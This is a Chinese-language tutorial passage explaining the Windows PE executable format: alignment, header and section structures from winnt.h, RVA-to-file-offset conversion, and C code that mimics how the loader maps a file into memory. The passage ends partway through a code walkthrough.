0x00 前言
将自己学习的PE文件结构进行总结形成文章这件事情,一直躺在我的Notion TodoList里,但是一直是未完成的状态哈哈,拖了那么久也该让它状态变成已完成了。
0x01 PE文件简介
PE文件的全称是Portable Executable,意为可移植的可执行的文件,常见的EXE、DLL、OCX、SYS、COM都是PE文件,PE文件是微软Windows操作系统上的程序文件(可能是间接被执行,如DLL)。
上面是百度复制来的,我个人理解的PE文件结构其实就类似于CTF Misc题中的jpg、png、zip文件格式类似,当你了解了这些文件格式后,你可以通过修改二进制数据来改图片宽高等属性,同样的,当你了解Windows PE文件结构后,你也可以修改PE文件的一些属性,比如修改程序入口点甚至修改程序运行逻辑。
0x02 文件对齐/内存对齐
一个PE文件的结构有两种表现方式,一种是“躺”在硬盘里的时候,也就是程序未执行的时候,一种是你调用或者双击运行程序,程序载入内存后,两种表现方式其实结构大体相同,只是内部某个部分之间的间隔稍有不同,如下图:
如上图可见,当PE文件加载到内存中后,DOS头到最后一个节区头的部分是一致的,而之后节区与节区之间的间隔,内存中的间隔会更大。但是,这种情况是不一定的,也有硬盘中和内存中的间隔是一致,这取决于PE文件结构中的某一个属性的设置。
那么为什么需要这样的操作呢?直接把文件按照原样加载到内存中不是更方便吗?这其实是由于操作系统内存对齐所产生的一个操作,具体内存对齐可以通过百度百科了解:https://baike.baidu.com/item/%E5%86%85%E5%AD%98%E5%AF%B9%E9%BD%90/9537460?fr=aladdin。内存对齐简单点说就是以一块内存一块内存来读取内存中的数据,而不是根据实际大小来读取,这样省去计算实际大小这个操作就提升了内存读取的速度。但是如果直接按照内存对齐的结构把PE文件存储到硬盘中,实际上有一大部分由于内存对齐而加进来的空间是无用的。在以前的计算机中,硬盘其实都不大,为了剩下这部分空间,所以就多了一个“裁剪”多余空间的操作,把对齐值调小一点,尽量减小无用的空间占用硬盘资源。而现在有些编译器的内存对齐和文件对齐是一样的了,那是因为如今的硬盘资源已经很充足,不需要废时间来省下这点空间了。
0x03 结构体
结构体是由一批数据组合而成的结构型数据。组成结构型数据的每个数据称为结构型数据的“成员” ,其描述了一块内存区间的大小及解释意义。
没错,上面这段我又是百度复制的。其实应该有一部分人在学习编程的时候,遇到结构体都不知道有啥大用,难道它只能用来做做编程练习吗?那肯定是不可能。就如百度百科解释所说的,结构体描述了一块内存区间的大小及解释意义,我们想象一下,当我们通过编程语言把PE文件读入内存中后,要怎么分别把DOS头、DOS存根等等每一块内容取出来呢?当然,通过类似于Python的切片来做是可以实现的,但是总感觉还是有点麻烦。这时候就需要用到结构体了,winnt.h头文件中定义了DOS头结构体指针类型PIMAGE_DOS_HEADER,当我们需要取DOS头数据的时候,就可以直接把内存中整块PE文件数据强制转换成PIMAGE_DOS_HEADER类型,这时候程序把PE文件数据作为PIMAGE_DOS_HEADER进行解析,你在C语言中就可以很轻松的通过pe_data->e_lfanew来很轻松的获取到DOS头中的某一个数据了。
可能这样讲还是有点抽象,我们再分细一点来说。首先结构体其实类似于数组,也是一段连续的内存块,只不过他内存块中每一块的大小由结构体成员决定。一个int类型数组,我们假设一个单元格是一个字节,一个int类型元素占四个字节,在内存中分布如下图(实际int在内存中大部分操作系统是小端序存储,所以数据是反过来存的,参考:https://www.jianshu.com/p/f29873769488):
我们定义一个结构体
struct person {
int id;
char name[6];
};
person p;
p.id = 1;
strcpy(p.name, "gcker");
person结构体它在内存中分布是这样的(int是小端序存储,char是大端序存储):
当我们通过p.name来取数据的时候,实际就是从一块内存数据为01 00 00 00 67 63 6b 65 00中,从67开始取数据。再做个有趣的实验,代码如下:
char data[] = { 0x01, 0x00, 0x00, 0x00, 0x67, 0x63, 0x6b, 0x65, 0x72, 0x00 };
person *p_person = (person*)data;
printf("%s", p_person->name);
// 输出:gcker
你们能理解我的意思吗😂?通过上述这个实验,我们转换一下,读取的PE文件数据是data,我们把data强制转换成PIMAGE_DOS_HEADER,那么是不是就可以解析出DOS头的数据了。PIMAGE_DOS_HEADER的定义如下:
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number,“MZ”标记,PE文件的开始,就是我们以十六进制方式打开PE文件时看到的开头那个MZ
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header,PE头相对于文件的偏移,用于定位PE头
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
我们通过HxD打开一个PE文件,通过下图来展示把PE文件数据强制转换成PIMAGE_DOS_HEADER会有什么效果,看下图:
看下实现代码:
FILE* pf = fopen("C:\\Users\\gcker\\Desktop\\putty.exe", "rb");
char data[1024] = { 0 };
fread(data, 1024, 1, pf);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)data;
printf("%x", pDosHeader->e_magic);
我们通过上述的方式,就可以成功解析PE文件的DOS头了,这就是我挑出结构体来讲一讲的理由,它可以让我们在编程中很方便的去解析任意文件的格式(在已经有定义好的结构体条件下)。
0x04 ImageBase/VA/RVA/RAW
在正式学习PE文件结构前,还需要了解几个名词。
ImageBase
基地址,PE文件的优先装载地址。比如,如果该值是400000h,PE装载器将尝试把文件装到虚拟地址空间的400000h处。字眼"优先"表示若该地址区域已被其他模块占用,那PE装载器会选用其他空闲地址。简而言之,就是指定PE文件载入内存时,优先尝试载入的内存起始地址。
VA
VA (virtual Address) 虚拟地址的意思,其实就是PE文件启动并载入内存后,某一块数据在内存中的地址。
RVA
RVA(relative Virtual Address) 相对虚拟地址偏移,RVA = 虚拟地址(VA) - 基地址(ImageBase),是相对于基地址的偏移,即RVA是虚拟内存中用来定位某个特定位置的地址,该地址的值是这个特定位置距离模块基地址的偏移量。有点类似于数组下标,数组内存中起始地址就是基地址,下标就是偏移量。
RAW
文件偏移地址(或物理地址),当PE文件存储在磁盘上时,各个数据的地址。一般我们用HxD工具打开一个PE文件后左边的Offset一栏就是。
0x05 PE文件结构
按我的理解,学习PE文件结构其实就是理解它每一块组成部分中各个成员的作用。通过本文第二部分内容的图可知,PE文件结构从上到下共分为DOS头、DOS存根、NT头、N个节区头、N个节区(有几个节区头就对应几个节区)。这里面除了DOS存根外,所有的内容在winnt.h中都定义了对应的结构体指针类型。
DOS头
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number,"MZ标记" 用于判断是否为可执行文件。
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header,NT头相对于文件的偏移,用于定位PE文件。
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
DOS存根
一个PE文件中,DOS头下,NT头上的内容就是DOS存根。它是一个可选项,且大小不固定,即使没有DOS存根文件也能正常运行。DOS存根由代码和数据混合而成。
如上图,文件Offset 0x40~0x4D这篇区域为16位的汇编指令,在32位及以上操作系统运行程序时不会执行该指令。在DOS环境中或使用DOS调试器运行它时,会执行这段指令(因为如DOS等16位操作系统不认识PE文件,识别成DOS EXE文件,所以执行这一段)。
在WindowsXP下,运行命令debug notepad.exe启动notepad.exe,在出现的光标位置输入“u”指令,会出现16位汇编指令。
大概意思就是会在终端中输出字符串“This program cannot be run in DOS mode”后就退出程序,换言之这里DOS存根的作用就是当32位程序在16位DOS下运行时,就会提示“This program cannot be run in DOS mode”后就退出程序,作为对MS-DOS的兼容。
0x06 NT头
IMAGE_NT_HEADER结构体由3个成员组成,其中后面两个成员为结构体,属于结构体内嵌套结构体。
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature; // 签名,值一直为50450000h(“PE”00)
IMAGE_FILE_HEADER FileHeader; // 文件头地址
IMAGE_OPTIONAL_HEADER32 OptionalHeader; // 可选头地址
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
文件头
typedef struct _IMAGE_FILE_HEADER {
WORD Machine; // 程序运行的CPU型号:0x0 任何处理器/0x14C 386及后续处理器
WORD NumberOfSections; // 文件中存在的节的总数,如果要新增节或者合并节 就要修改这个值.
DWORD TimeDateStamp; // 时间戳:文件的创建时间(和操作系统的创建时间无关),编译器填写的.
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader; // 可选PE头的大小,32位PE文件默认E0h 64位PE文件默认为F0h 大小可以自定义.
WORD Characteristics; // 每个位有不同的含义,可执行文件值为10F 即0 1 2 3 8位置1
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
IMAGE_FILE_HEADER结构体有以下四个重要成员,若它们设置不正确,将导致文件无法正常运行。
Machine
每个CPU都拥有唯一的Machine码,兼容32位Intel x86芯片的Machine码为14C,其余是定义在winnt.h文件中的Machine码。
#define IMAGE_FILE_MACHINE_UNKNOWN 0
#define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386.
#define IMAGE_FILE_MACHINE_R3000 0x0162 // MIPS little-endian, 0x160 big-endian
#define IMAGE_FILE_MACHINE_R4000 0x0166 // MIPS little-endian
#define IMAGE_FILE_MACHINE_R10000 0x0168 // MIPS little-endian
#define IMAGE_FILE_MACHINE_WCEMIPSV2 0x0169 // MIPS little-endian WCE v2
#define IMAGE_FILE_MACHINE_ALPHA 0x0184 // Alpha_AXP
#define IMAGE_FILE_MACHINE_SH3 0x01a2 // SH3 little-endian
#define IMAGE_FILE_MACHINE_SH3DSP 0x01a3
#define IMAGE_FILE_MACHINE_SH3E 0x01a4 // SH3E little-endian
#define IMAGE_FILE_MACHINE_SH4 0x01a6 // SH4 little-endian
#define IMAGE_FILE_MACHINE_SH5 0x01a8 // SH5
#define IMAGE_FILE_MACHINE_ARM 0x01c0 // ARM Little-Endian
#define IMAGE_FILE_MACHINE_THUMB 0x01c2
#define IMAGE_FILE_MACHINE_AM33 0x01d3
#define IMAGE_FILE_MACHINE_POWERPC 0x01F0 // IBM PowerPC Little-Endian
#define IMAGE_FILE_MACHINE_POWERPCFP 0x01f1
#define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64
#define IMAGE_FILE_MACHINE_MIPS16 0x0266 // MIPS
#define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64
#define IMAGE_FILE_MACHINE_MIPSFPU 0x0366 // MIPS
#define IMAGE_FILE_MACHINE_MIPSFPU16 0x0466 // MIPS
#define IMAGE_FILE_MACHINE_AXP64 IMAGE_FILE_MACHINE_ALPHA64
#define IMAGE_FILE_MACHINE_TRICORE 0x0520 // Infineon
#define IMAGE_FILE_MACHINE_CEF 0x0CEF
#define IMAGE_FILE_MACHINE_EBC 0x0EBC // EFI Byte Code
#define IMAGE_FILE_MACHINE_AMD64 0x8664 // AMD64 (K8)
#define IMAGE_FILE_MACHINE_M32R 0x9041 // M32R little-endian
#define IMAGE_FILE_MACHINE_CEE 0xC0EE
NumberOfSections
NumberOfSections用来指出文件中存在的节区数量,该值一定要大于0,且当定义的节区数量与实际节区不同时,将发生运行错误。
SizeOfOptionalHeader
SizeOfOptionalHeader用于指定IMAGE_OPTIONAL_HEADER32(可选PE头)结构体的长度,IMAGE_OPTIONAL_HEADER32结构体由C语言编写,故其大小已经确定。但是Windows的PE装载器需要查看IMAGE_FILE_HEADER的SizeOfOptionalHeader值来确定IMAGE_OPTIONAL_HEADER32的大小。
PE32+(64位程序)使用IMAGE_OPTIONAL_HEADER64结构体,与IMAGE_OPTIONAL_HEADER32结构体长度不同,所以需要在SizeOfOptionalHeader中指明可选结构体大小。
Characteristics
该字段用于标识文件的属性,文件是否是可运行状态、是否为DLL文件等信息。所有标识定义在winnt.h中。
#define IMAGE_FILE_RELOCS_STRIPPED 0x0001 // Relocation info stripped from file.
#define IMAGE_FILE_EXECUTABLE_IMAGE 0x0002 // File is executable (i.e. no unresolved externel references).
#define IMAGE_FILE_LINE_NUMS_STRIPPED 0x0004 // Line nunbers stripped from file.
#define IMAGE_FILE_LOCAL_SYMS_STRIPPED 0x0008 // Local symbols stripped from file.
#define IMAGE_FILE_AGGRESIVE_WS_TRIM 0x0010 // Agressively trim working set
#define IMAGE_FILE_LARGE_ADDRESS_AWARE 0x0020 // App can handle >2gb addresses
#define IMAGE_FILE_BYTES_REVERSED_LO 0x0080 // Bytes of machine word are reversed.
#define IMAGE_FILE_32BIT_MACHINE 0x0100 // 32 bit word machine.
#define IMAGE_FILE_DEBUG_STRIPPED 0x0200 // Debugging info stripped from file in .DBG file
#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP 0x0400 // If Image is on removable media, copy and run from the swap file.
#define IMAGE_FILE_NET_RUN_FROM_SWAP 0x0800 // If Image is on Net, copy and run from the swap file.
#define IMAGE_FILE_SYSTEM 0x1000 // System File.
#define IMAGE_FILE_DLL 0x2000 // File is a DLL.
#define IMAGE_FILE_UP_SYSTEM_ONLY 0x4000 // File should only be run on a UP machine
#define IMAGE_FILE_BYTES_REVERSED_HI 0x8000 // Bytes of machine word are reversed.
可选PE头
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic; // 说明文件类型:10B 32位下的PE文件 20B 64位下的PE文件
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode; // 所有代码节的和,必须是FileAlignment的整数倍 编译器填的
DWORD SizeOfInitializedData; // 已初始化数据大小的和,必须是FileAlignment的整数倍 编译器填的
DWORD SizeOfUninitializedData; // 未初始化数据大小的和,必须是FileAlignment的整数倍 编译器填的
DWORD AddressOfEntryPoint; // 程序入口
DWORD BaseOfCode; // 代码开始的基址,编译器填的
DWORD BaseOfData; // 数据开始的基址,编译器填的
DWORD ImageBase; // 内存镜像基址
DWORD SectionAlignment; // 内存对齐
DWORD FileAlignment; // 文件对齐(硬盘对齐)
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage; // 内存中整个PE文件的映射的尺寸,可以比实际的值大,但必须是SectionAlignment的整数倍
DWORD SizeOfHeaders; // 所有头+节表按照文件对齐后的大小,否则加载会出错
DWORD CheckSum; // 校验和,一些系统文件有要求.用来判断文件是否被修改.
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve; // 初始化时保留的堆栈大小
DWORD SizeOfStackCommit; // 初始化时实际提交的大小
DWORD SizeOfHeapReserve; // 初始化时保留的堆大小
DWORD SizeOfHeapCommit; // 初始化时实践提交的大小
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes; // 目录项数目
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
在IMAGE_OPTIONAL_HEADER32结构体中需要关注下列成员,这些值设置错误会导致文件无法正常运行。
Magic
- IMAGE_OPTIONAL_HEADER32时值为10B
- IMAGE_OPTIONAL_HEADER64时值为20B
AddressOfEntryPoint
AddressOfEntryPoint持有EP(EntryPoint,程序入口点)的RVA值。该值指出程序最先执行的代码起始地址,相当重要。
ImageBase
每个程序启动后都有一块独立的虚拟内存空间,进程虚拟内存的范围是0<sub>0xFFFFFFFF(32位系统),PE文件被加载到如此大的内存中时,ImageBase指出文件的优先装入地址。EXE、DLL文件被装在到用户内存的0</sub>0x7FFFFFFF中,SYS文件被载入内核内存的0x80000000~0xFFFFFFFF中。
一般而言,开发工具(VB、VC++、Delphi)创建好EXE文件后,其ImageBase的值为0x00400000,DLL文件的ImageBase值为0x10000000(也可以设置为其他)。
执行PE文件时,PE装载器先创建进程,再将文件载入内存,然后把EIP寄存器(EIP寄存器:用于告诉CPU需要执行的下一条指令的位置)的值设置为ImageBase+AddressOfEntryPoint。
SectionAlignment、FIleAlignment
FileAlignment:指定了节区块在磁盘文件中的最小单位
SectionAlignment:指定了节区在内存中的最小单位
FileAlignment和SectionAlignment的作用就是我们在本文“文件对齐/内存对齐”中讲到的,节区与节区之间的间隔,之所以会有间隔就是因为PE文件的节区在硬盘中和在内存中的大小不一致导致的。一个文件的FileAlignment和SectionAlignment的值可能相同或不同。PE文件在磁盘或内存中时,节区大小一定是FileAlignment或SectionAlignment值的整数倍。
SizeOfImage
内存中整个PE文件的尺寸,可比实际的值大,但必须是SectionAlignment的整数倍。
SizeOfHeaders
SizeOfHeaders用来指出整个PE头的大小,该值也必须是FileAlignment的整数倍。第一节区所在的位置与SizeOfHeaders距文件开始偏移的量相同,所以可以证明SizeOfHeaders就是DOS头、DOS存根(如有)、NT头、所有节区头加起来的大小。
Subsystem
Subsystem值用来区分系统驱动文件(.sys)与普通的可执行文件(.exe、*.dll),可以有如下值如下:
#define IMAGE_SUBSYSTEM_UNKNOWN 0 // Unknown subsystem.
#define IMAGE_SUBSYSTEM_NATIVE 1 // Image doesn't require a subsystem.
#define IMAGE_SUBSYSTEM_WINDOWS_GUI 2 // Image runs in the Windows GUI subsystem.
#define IMAGE_SUBSYSTEM_WINDOWS_CUI 3 // Image runs in the Windows character subsystem.
#define IMAGE_SUBSYSTEM_OS2_CUI 5 // image runs in the OS/2 character subsystem.
#define IMAGE_SUBSYSTEM_POSIX_CUI 7 // image runs in the Posix character subsystem.
#define IMAGE_SUBSYSTEM_NATIVE_WINDOWS 8 // image is a native Win9x driver.
#define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI 9 // Image runs in the Windows CE subsystem.
#define IMAGE_SUBSYSTEM_EFI_APPLICATION 10 //
#define IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER 11 //
#define IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER 12 //
#define IMAGE_SUBSYSTEM_EFI_ROM 13
#define IMAGE_SUBSYSTEM_XBOX 14
#define IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION 16
#define IMAGE_SUBSYSTEM_XBOX_CODE_CATALOG 17
DataDirectory
数据目录表,是一个结构体数组。数组里的每个元素对应一个数据表。通常有16个。数据目录表存放着例如导入表、导出表等数据。
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Debug Directory
// IMAGE_DIRECTORY_ENTRY_COPYRIGHT 7 // (X86 usage)
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // RVA of GP
#define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT 12 // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 // COM Runtime descriptor
DataDirectory[0] = IMAGE_DIRECTORY_ENTRY_EXPORT // Export Directory
DataDirectory[1] = IMAGE_DIRECTORY_ENTRY_IMPORT // Import Directory
DataDirectory[2] = IMAGE_DIRECTORY_ENTRY_RESOURCE // Resource Directory
DataDirectory[3] = IMAGE_DIRECTORY_ENTRY_EXCEPTION // Exception Directory
DataDirectory[4] = IMAGE_DIRECTORY_ENTRY_SECURITY // Security Directory
DataDirectory[5] = IMAGE_DIRECTORY_ENTRY_BASERELOC // Base Relocation Table
DataDirectory[6] = IMAGE_DIRECTORY_ENTRY_DEBUG // Debug Directory
// IMAGE_DIRECTORY_ENTRY_COPYRIGHT // (X86 usage)
DataDirectory[7] = IMAGE_DIRECTORY_ENTRY_ARCHITECTURE // Architecture Specific Data
DataDirectory[8] = IMAGE_DIRECTORY_ENTRY_GLOBALPTR // RVA of GP
DataDirectory[9] = IMAGE_DIRECTORY_ENTRY_TLS // TLS Directory
DataDirectory[10] = IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG // Load Configuration Directory
DataDirectory[11] = IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT // Bound Import Directory in headers
DataDirectory[12] = IMAGE_DIRECTORY_ENTRY_IAT // Import Address Table
DataDirectory[13] = IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT // Delay Load Import Descriptors
DataDirectory[14] = IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR // COM Runtime descriptor
NumberOfRvaAndSizes
用来指定DataDirectory(IMAGE_OPTIONAL_HEADER32结构体最后一个成员)数组的个数。虽然结构体中明确定义了数组个数为IMAGE_NUMBEROF_DIRECTORY_ENTRIES(16个),但是PE装载器用过查看NumberOfRvaAndSizes值来识别数组大小,换言之,数组大小也可能不是16。
0x07 节区头
PE文件格式的设计者把具有相似属性的数据统一保存在一个被称为“节区”的地方,然后需要把各节区属性记录在节区头中(节区属性中有文件/内存的起始位置、大小、访问权限等),常见节区有code、text、data、resource等。
把PE文件创建成多个节区结构的好处是,可以保证程序的安全性。若把code与data放在一个节区中相互纠缠很容易引发安全问题,即使忽略过程中的烦琐。假设向字符串data写入数据时,由于某个原因导致溢出,那么其下的code就会被覆盖,应用程序就会崩溃。
类别 | 访问权限 |
---|---|
code节区 | 执行、读取权限 |
data节区 | 非执行、读写权限 |
resource节区 | 非执行、读取权限 |
节区头是由多个IMAGE_SECTION_HEADER结构体组成的,每个结构体对应一个节区头,每个节区头描述一个节区。
#define IMAGE_SIZEOF_SHORT_NAME 8
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // 8个字节的节区名称,一般以\0结尾,如无\0默认取八个字节
union { //
DWORD PhysicalAddress;
DWORD VirtualSize; // 节区的真实尺寸,是该节在没有对齐前的真实尺寸,该值可以不准确
} Misc;
DWORD VirtualAddress; // 节区的 RVA 地址(在内存中的偏移地址)
DWORD SizeOfRawData; // 在文件中对齐后的尺寸(当代码中有char ch[1000];即未初始化的数组时,会出现Misc->VirtualSize比这个值大的情况,因为char ch[1000];未初始化在文件中是没有分配的,等到载入内存才会开辟这个空间)
DWORD PointerToRawData; // 节在文件中的偏移量
DWORD PointerToRelocations; // 在OBJ文件中使用,重定位的偏移
DWORD PointerToLinenumbers; // 行号表的偏移(供调试使用地)
WORD NumberOfRelocations; // 在OBJ文件中使用,重定位项数目
WORD NumberOfLinenumbers; // 行号表中行号的数目
DWORD Characteristics; // 节属性如可读,可写,可执行等
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
Characteristics
节区头结构体最后一个成员Characteristics,有以下这些可选项:
//位数从低到高
#define IMAGE_SCN_SCALE_INDEX 0x00000001 //第1位 Tls index is scaled
#define IMAGE_SCN_CNT_CODE 0x00000020 //第6位 Section contains code.
#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 //第7位 Section contains initialized data.
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 //第8位 Section contains uninitialized data.
#define IMAGE_SCN_LNK_INFO 0x00000200 //第10位 Section contains comments or some other type of information.
#define IMAGE_SCN_LNK_REMOVE 0x00000800 //第12位 Section contents will not become part of image.
#define IMAGE_SCN_LNK_COMDAT 0x00001000 //第13位 Section contents comdat.
#define IMAGE_SCN_NO_DEFER_SPEC_EXC 0x00004000 //第15位 Reset speculative exceptions handling bits in the TLB entries for this section.
#define IMAGE_SCN_GPREL 0x00008000 //第16位 Section content can be accessed relative to GP
#define IMAGE_SCN_LNK_NRELOC_OVFL 0x01000000 //第25位 Section contains extended relocations.
#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 //第26位 Section can be discarded.
#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 //第27位 Section is not cachable.
#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000 //第28位 Section is not pageable.
#define IMAGE_SCN_MEM_SHARED 0x10000000 //第29位 Section is shareable.
#define IMAGE_SCN_MEM_EXECUTE 0x20000000 //第30位 Section is executable.
#define IMAGE_SCN_MEM_READ 0x40000000 //第31位 Section is readable.
#define IMAGE_SCN_MEM_WRITE 0x80000000 //第32位 Section is writeable.
Name
Name成员不像C语言中的字符串一样以NULL结束,并且没有显示只能是ASCII值。PE规范未明确规定节区的Name,所以可以Name可以是任意值,甚至是NULL值。所以节区Name仅供参考,不能保证其百分百地被用作某种信息。
0x08 RVA to RAW
我们通过本文“文件对齐/内存对齐”部分可知,PE文件在硬盘上和内存中节区部分有个“变大”的过程,这个过程一般称为“拉伸”。每个节区都要能准确完成内存地址与文件偏移之间的映射,这种映射一般称为RVA to RAW。
根据IMAGE_SECTION_HEADER结构体,换算公式如下:
RAW - PointerToRawData = RVA - VirtualAddress
进而得到:
RAW = RVA - VirtualAddress + PointerToRawData
注意,PE头中表示地址时不使用VA,而是RVA,比如节区头成员 VirtualAddress 是内存中节区头的起始地址(RVA)。
0x09 C语言解析PE文件
看了一堆理论可能会有点懵,我们通过实际练习来加深一下理解,这里我们通过C语言模拟PE装载器,完成PE文件从硬盘到内存中的节区拉伸过程,然后再从内存还原到硬盘中,实现一个困难版的程序复制粘贴😂。
在编码过程中,可以找一个PE文件结构解析的工具来帮助你们调试,测试自己解析出来的数据正不正确,比如PE-Hacker等,吾爱破解或者其他地方都很容易找到。
拉伸
模拟PE文件从文件装载到内存中拉伸的过程。
char* fileBuffertoImageBuffer(char *fileBuffer) {
// 解析PE文件
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew); // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader; // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
if (ppSectionHeader == NULL) {
printf("内存分配失败!");
return NULL;
}
ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)(pOptionalHeader + 1);
if (pFileHeader->NumberOfSections > 1) {
for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
}
}
// 新建一块区域用于存放拉伸后的PE文件
char* imageBuffer = (char*)malloc(pOptionalHeader->SizeOfImage);
if (imageBuffer == NULL) {
printf("内存分配失败!");
return NULL;
}
memset(imageBuffer, 0, pOptionalHeader->SizeOfImage);
// 拉伸
// DOS头到最后一个节区头部分不需要拉伸,所以直接拷贝过来
memcpy(imageBuffer, fileBuffer, pOptionalHeader->SizeOfHeaders);
// 根据节区头中的PointerToRawData找到对应节区在fileBuffer中的位置,然后拷贝到imageBuffer的VirtualAddress处
for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
memcpy((imageBuffer + ppSectionHeader[i]->VirtualAddress), (fileBuffer + ppSectionHeader[i]->PointerToRawData), ppSectionHeader[i]->Misc.VirtualSize);
}
return imageBuffer;
}
代码详解
- 解析PE文件:其实就是运用了本文“结构体”部分内容的思想进行解析
// 解析PE文件
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer; // DOS头
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew); // NT头,DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader; // 文件头,NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader; // 可选PE头
PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections); // 节区头数组
if (ppSectionHeader == NULL) {
printf("内存分配失败!");
return NULL;
}
